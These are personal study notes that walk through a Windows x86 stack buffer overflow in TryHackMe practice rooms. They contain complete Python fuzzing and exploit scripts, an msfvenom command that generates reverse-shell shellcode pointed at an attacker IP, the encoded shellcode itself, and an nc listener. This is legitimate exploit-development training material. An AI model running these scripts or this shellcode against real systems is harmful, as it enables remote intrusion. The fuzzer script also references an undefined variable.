Windows x86-64
Notes from TryHackMe's Brainstorm
and BufferOverflowPrep
Rooms.
The Setupβ
When you have a blind target to buffer overflow, you need to set up a local system to model the target and use it to design and develop your overflow.
The windows setup I used is:
- A Windows 7 VM
- Immunity Debugger installation
- Mona modules python scripts for the debugger
The Processβ
Big thank you to The Cyber Mentor who's "Buffer Overflows Made Easy" YouTube playlist was the most well explained video series I found at the time.
This has been written up far better in a lot of places, but for my own notes and understanding I will write it out in the best way that makes sense to me.
The steps are:
- Fuzz the Program
- Find the Offset
- Control the EIP
- Bad Character Check
- find a module
- create shellcode
- exploit
Fuzz the Programβ
The scenario would be once you've found a function in the program that you may be able to overflow, you start sending it incrementally-increasing payloads and watch how many bytes it takes to crash.
fuzzer.pyβ
#!/usr/bin/env python3
import socket, time, sys
ip = "172.16.2.125" # the target server IP
port = 9999 # port the vulnerable program is listening on
timeout = 5
payload = "A" * 100 # the start size for the payload
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(payload) - len(prefix)))
s.send(bytes(payload, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(payload) - len(prefix)))
sys.exit(0)
payload += 100 * "A" # increment the payload by 100 x A's
time.sleep(1)
Eventually the program will stop responding and timeout and our script will write "Fuzzing crashed at x bytes"
and we will have roughly our payload size that crashes the program.
Find the Offsetβ
We know the payload size from the fuzzer, now we create a random string of x
length as our new payload.
Why? Because we want to find the number of bytes it takes from the bottom of our buffer, to the beginning of the EIP address- this "distance" is the offset. If we know the offset, we know how many bytes to use up in the payload before the return address so that it gets written perfectly over the EIP.
We use 2 x tools from metasploit to find the offset:
pattern_create.rb
- to create a string pattern the length found by the fuzzer.pattern_offset.rb
- find the offset within that pattern given the specific segment of that pattern that was overwritten onto the EIP.
For example...
let's say Fuzzing crashed at 6300 bytes.
pattern create: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 6700
offset.pyβ
#!/usr/bin/env python3
import socket
ip = "172.16.2.125" # IP of the target server.
port = 9999
offset = 0
overflow = "A" * offset
retn = "" # this will overwrite the EIP
padding = "" # optional.
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0A..."
postfix = "" # optional
buffer = overflow + retn + padding + payload + postfix
print("buffer=",len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(payload + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
When the program crashes you have two ways of finding the offset
Using Monaβ
In the Immunity Debugger, run this to find offset via mona: !mona findmsp -distance 6700
Output will look like this:
Log data, item 18
Address=0BADF00D
Message= EIP contains normal pattern : 0x48367648 (offset 6108)
Using Metasploitβ
Or use the 2nd part of the the metasploit pattern tool, the pattern_offset
script:
First, read the EIP value in Immunity Debugger:
e.g. EIP value on crash = 48367648
Then use the pattern offset tool from metasploit to find the offset:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 6700 -q 48367648
Exact match at offset 6108
Control the EIPβ
Now that you know the offset, theoretically you should be able to create an overflow
of length=offset which will fill the buffer right up to the start of the EIP, and then the value you set for retn
should be written over the EIP, which in the case below is 4 x B's i.e. BBBB
.
#!/usr/bin/env python3
import socket
ip = "172.16.2.125"
port = 9999
offset = 6108
overflow = "A" * offset
retn = "BBBB"
buffer = overflow + retn
print("buffer=",len(buffer)) # check the buffer length
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Crash Overwrite EIP: 42424242...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
If your fuzz and offset work is correct, when you run the eip.py
script and the application crashes, the EIP value should show 42424242
i.e. 4 x B's.
Bad Character Checkβ
Why do we care?
A bad character in our shellcode will bork the whole thing up, so we need to understand which characters from a byte array
of all possible characters, could be bad and mess up our exploit so we can exclude them from any generated shellcode.
First, because we're going to use mona a lot here, setup the mona working directory to make things easier for us:
!mona config -set workingfolder C:\Users\IEUser\Downloads\%p
- this is my win7 VM.
!mona bytearrayβ
In Immunity Debugger, run this mona command: !mona bytearray -b "\x00"
to generate the "nullbyte array" i.e. the full bytearray minus the null byte \x00
.
You can find the text file of the byte array to copy in the working directory we set just before (C:\Users\IEUser\Downloads\%p
), if you want to open + copy/paste to your script below.
Other ways of generating all possible characters:
# Python
for i in range(0,256): print('\\x%02X' % i, end='')
# Bash
for i in {0..255}; do printf "\\\x%02x" $i;done
badchar.pyβ
Your bad character script looks like this:
#!/usr/bin/env python3
import socket
ip = "172.16.2.125"
port = 9999
offset = 6108
overflow = "A" * offset
retn = "BBBB"
payload = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21"
"\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x41\x42"
"\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x60\x61\x62\x63"
"\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83"
"\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3"
"\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4"
"\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = overflow + retn + payload
print("buffer=",len(buffer)) # check the buffer length
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer for badchar check...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
When you send this payload ./badchar.py
and crash the app, use mona again to run a "compare" between the bytearray.bin
you generated at the beginning with !mona bytearray -b "\x00"
and the array that's now in memory starting where the ESP is pointing.
!mona compareβ
The steps are as follows:
- Send the payload with the bytearray you generated and crash the app
- Read the value of the
ESP
register e.g.01ACFA30
- Run the
!mona compare
command using:!mona compare -f C:\Users\admin\Desktop\vulnerable-apps\oscp\bytearray.bin -a 01ACFA30
- mona will give you a list of characters it believes are "bad", and look something like this:
00 a0 a1 ad ae be bf de df ef f0
You now have your bad characters list.
verifyβ
Not all characters in mona's bad character list are legitimate bad chars.
How do we verify?
The "next byte" after a badchar can get corrupted, so the real badchar will only be the FIRST in any consecutive characters e.g. if mona says 1 2 3 4 5 6
are bad chars, really the real badchars are 1 3 5
because 2 4 6
would be fine and just got corrupted by the real bad characters that came before it.
For example, say after a compare mona gives us this list of bad chars: 00 a0 a1 ad ae be bf de df ef f0
.
We apply our rule of thumb, and guess that only the following from the sequence are the real bad characters: a0 ad be de ef
We test this by generating another byte array using mona, but adding the other bytes we want to exclude from our real bad character list:
!mona bytearray -b "\x00\xa0\xad\xbe\xde\xef"
And go through the same steps 1 to 4 above.
If our guess is correct, we will get an "Unmodified
" status which means our byte array payload has no bad characters in it.
Find a jmp pointβ
Read: mona manual
We have control of the EIP so we can write an address over it to "jump somewhere and execute" code, so we need to find this return address of a pointer that will allow us to use it to "jump" where we want to go.
I use the word "allow" because the return address of the module we're trying to jump from has to have any protections disabled or missing.
The command we can use to find all available "pointers", for example:
!mona jmp -r esp -cpb "\x00\xa0\xad\xbe\xde\xef"
this command tells mona
to:
- look for
jmp
instructions pointers - given the register
esp
-cpb
and skip any pointers that have any of these bad characters"\x00\xa0\xad\xbe\xde\xef"
Run the command in Immunity Debugger and you see something like this ("Log Data" window):
---------- Mona command started on 2022-01-13 04:36:15 (v2.0, rev 605) ----------
0BADF00D [+] Processing arguments and criteria
0BADF00D - Pointer access level : X
0BADF00D - Bad char filter will be applied to pointers : "\x00\xa0\xad\xbe\xde\xef"
0BADF00D [+] Generating module info table, hang on...
0BADF00D - Processing modules
0BADF00D - Done. Let's rock 'n roll.
0BADF00D [+] Querying 2 modules
0BADF00D - Querying module essfunc.dll
74840000 Modules C:\Windows\System32\wshtcpip.dll
0BADF00D - Querying module oscp.exe
0BADF00D - Search complete, processing results
0BADF00D [+] Preparing output file 'jmp.txt'
0BADF00D - (Re)setting logfile C:\Users\admin\Desktop\vulnerable-apps\oscp\jmp.txt
0BADF00D [+] Writing results to C:\Users\admin\Desktop\vulnerable-apps\oscp\jmp.txt
0BADF00D - Number of pointers of type 'jmp esp' : 9
0BADF00D [+] Results :
625011AF 0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011BB 0x625011bb : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011C7 0x625011c7 : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011D3 0x625011d3 : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011DF 0x625011df : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011EB 0x625011eb : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011F7 0x625011f7 : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
62501203 0x62501203 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
62501205 0x62501205 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
0BADF00D Found a total of 9 pointers
0BADF00D
0BADF00D [+] This mona.py action took 0:00:00.702000
mona found 9 pointers
that fit our criteria.
Pick a jmp point = 625011F7
and convert to little endian format: \xf7\x11\x50\x62
Shellcodeβ
Now that we have our return address for our pointer jmp point, we can put the final piece of the payload together- the shellcode.
msfvenomβ
Use msfvenom
to generate a reverse tcp shell to pop a connection back to your listener:
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.55.83 LPORT=4444 EXITFUNC=thread -b "\x00\xa0\xad\xbe\xde\xef" -f c
payload.pyβ
#!/usr/bin/env python3
import socket
ip = "172.16.2.125"
port = 9999
offset = 6108
overflow = "A" * offset
retn = "\xf7\x11\x50\x62" # found using mona
padding = "\x90" * 16 # NOP sled
shellcode = (
"\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xa4\xa6\x8c\x59\x83\xee\xfc\xe2\xf4\x58\x4e\x0e\x59\xa4\xa6"
"\xec\xd0\x41\x97\x4c\x3d\x2f\xf6\xbc\xd2\xf6\xaa\x07\x0b\xb0"
"\x2d\xfe\x71\xab\x11\xc6\x7f\x95\x59\x20\x65\xc5\xda\x8e\x75"
"\x84\x67\x43\x54\xa5\x61\x6e\xab\xf6\xf1\x07\x0b\xb4\x2d\xc6"
"\x65\x2f\xea\x9d\x21\x47\xee\x8d\x88\xf5\x2d\xd5\x79\xa5\x75"
"\x07\x10\xbc\x45\xb6\x10\x2f\x92\x07\x58\x72\x97\x73\xf5\x65"
"\x69\x81\x58\x63\x9e\x6c\x2c\x52\xa5\xf1\xa1\x9f\xdb\xa8\x2c"
"\x40\xfe\x07\x01\x80\xa7\x5f\x3f\x2f\xaa\xc7\xd2\xfc\xba\x8d"
"\x8a\x2f\xa2\x07\x58\x74\x2f\xc8\x7d\x80\xfd\xd7\x38\xfd\xfc"
"\xdd\xa6\x44\xf9\xd3\x03\x2f\xb4\x67\xd4\xf9\xce\xbf\x6b\xa4"
"\xa6\xe4\x2e\xd7\x94\xd3\x0d\xcc\xea\xfb\x7f\xa3\x59\x59\xe1"
"\x34\xa7\x8c\x59\x8d\x62\xd8\x09\xcc\x8f\x0c\x32\xa4\x59\x59"
"\x09\xf4\xf6\xdc\x19\xf4\xe6\xdc\x31\x4e\xa9\x53\xb9\x5b\x73"
"\x1b\x33\xa1\xce\x86\x52\x93\xf5\xe4\x5b\xa4\xb7\xd0\xd0\x42"
"\xcc\x9c\x0f\xf3\xce\x15\xfc\xd0\xc7\x73\x8c\x21\x66\xf8\x55"
"\x5b\xe8\x84\x2c\x48\xce\x7c\xec\x06\xf0\x73\x8c\xcc\xc5\xe1"
"\x3d\xa4\x2f\x6f\x0e\xf3\xf1\xbd\xaf\xce\xb4\xd5\x0f\x46\x5b"
"\xea\x9e\xe0\x82\xb0\x58\xa5\x2b\xc8\x7d\xb4\x60\x8c\x1d\xf0"
"\xf6\xda\x0f\xf2\xe0\xda\x17\xf2\xf0\xdf\x0f\xcc\xdf\x40\x66"
"\x22\x59\x59\xd0\x44\xe8\xda\x1f\x5b\x96\xe4\x51\x23\xbb\xec"
"\xa6\x71\x1d\x6c\x44\x8e\xac\xe4\xff\x31\x1b\x11\xa6\x71\x9a"
"\x8a\x25\xae\x26\x77\xb9\xd1\xa3\x37\x1e\xb7\xd4\xe3\x33\xa4"
"\xf5\x73\x8c"
)
postfix = ""
buffer = overflow + retn + padding + shellcode + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
What is a NOP Sled and what does it do?
Brilliant stackoverflow answer:
"Some attacks consist of making the program jump to a specific address and continue running from there. The injected code has to be loaded previously somehow in that exact location.
Stack randomization and other runtime differences may make the address where the program will jump impossible to predict, so the attacker places a NOP sled in a big range of memory. If the program jumps to anywhere into the sled, it will run all the remaining NOPs, doing nothing, and then will run the payload code, just next to the sled.
The reason the attacker uses the NOP sled is to make the target address bigger: the code can jump anywhere in the sled, instead of exactly at the beginning of the injected code."
listener + popβ
On your attack machine, run a listener: rlwrap nc -lvnp 4444
Run ./payload.py
and if everything went correctly, you will have a shell pop in your listener.